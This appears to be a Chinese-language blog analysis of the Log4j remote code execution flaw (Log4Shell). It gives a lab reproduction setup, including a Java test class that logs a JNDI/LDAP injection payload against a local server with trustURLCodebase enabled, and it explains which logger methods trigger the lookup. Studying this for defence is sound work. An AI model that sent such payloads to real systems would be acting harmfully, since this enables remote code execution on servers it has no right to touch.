Apache Log4j 漏洞利用分析
Apache Log4j 项目被爆存在远程代码执行漏洞,且利用简单,影响危害巨大,光是引入了 log4j2 依赖的组件都是数不清,更别提项目本身可能存在的风险了,复现漏洞来学习一下,希望可以帮助到大家。
一、影响范围
引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件
二、复现环境
Log4j-core 2.14.1
Marshalsec
JDK-1.8.0_221
三、 漏洞分析
测试代码如下:
#log4j,java import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class log4j { private static final Logger logger = LogManager.getLogger(log4j.class); public static void main(String[] args) { //The default trusturlcodebase of the higher version JDK is false System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); logger.error("${jndi:ldap://127.0.0.1:1389/exploit1}"); } } #pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>log4j-rce</artifactId> <version>1.0-SNAPSHOT</version> <!-- add properties to fix compilation error source contribution from stack overflow link https://stackoverflow.com/questions/53034953/error-source-option-5-is-no-longer-supported-use-6-or-later-on-maven-compile --> <properties> <maven.compiler.source>6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> </properties> <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies> <!-- add assembly to fix noclassfound error in java -cp log4j-rce-1.0-SNAPSHOT.jar log4j use the following instead java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j source contribution from the following link https://github.com/jeffli1024/log4j-rce-test/blob/main/apache-log4j-poc/pom.xml --> <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <version>2.19.1</version> </plugin> <plugin> <artifactId>maven-assembly-plugin</artifactId> <configuration> <finalName>${project.artifactId}-${project.version}-all</finalName> <appendAssemblyId>false</appendAssemblyId> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> </configuration> <executions> <execution> <id>make-assembly</id> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> </plugin> </plugins> </build> </project>
根据官方的修订信息:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues
可以知道,是通过 jndi 中 LDAP 注入的方式实现了 RCE
JNDI lookup 的用法:
JndiLookup 允许通过 JNDI 检索变量,然后给了示例:
<File name="Application" fileName="application.log"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern> </PatternLayout> </File>
实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下:
${jndi:JNDIContent}
既然明确了lookup是触发漏洞的点,并且找到了可以触发 lookup的方法 ,那么就可以找入口点,只要找到入口点,然后传入 jndi 调用 ldap 的方式,就能够实现 RCE。
那么,哪一个入口点可以传入${jndi:JNDIContent}呢?
没错了,就是LogManager.getLogger().xxxx()方法
在log4j2中,共有8 个日志级别,可以通过LogManager.getLogger()调用记录日志的方法如下:
LogManager.getLogger().error() LogManager.getLogger().fatal() LogManager.getLogger().trace() LogManager.getLogger().traceExit() LogManager.getLogger().traceEntry() LogManager.getLogger().info() LogManager.getLogger().warn() LogManager.getLogger().debug() LogManager.getLogger().log() LogManager.getLogger().printf()
上述列表中,error()
和fatal()
方法可默认触发漏洞,其余的方法需要配置日志级别才可以触发漏洞。
只有当当前事件的日志等级大于等于设置的日志等级时,才会符合条件,进入logMessage()
方法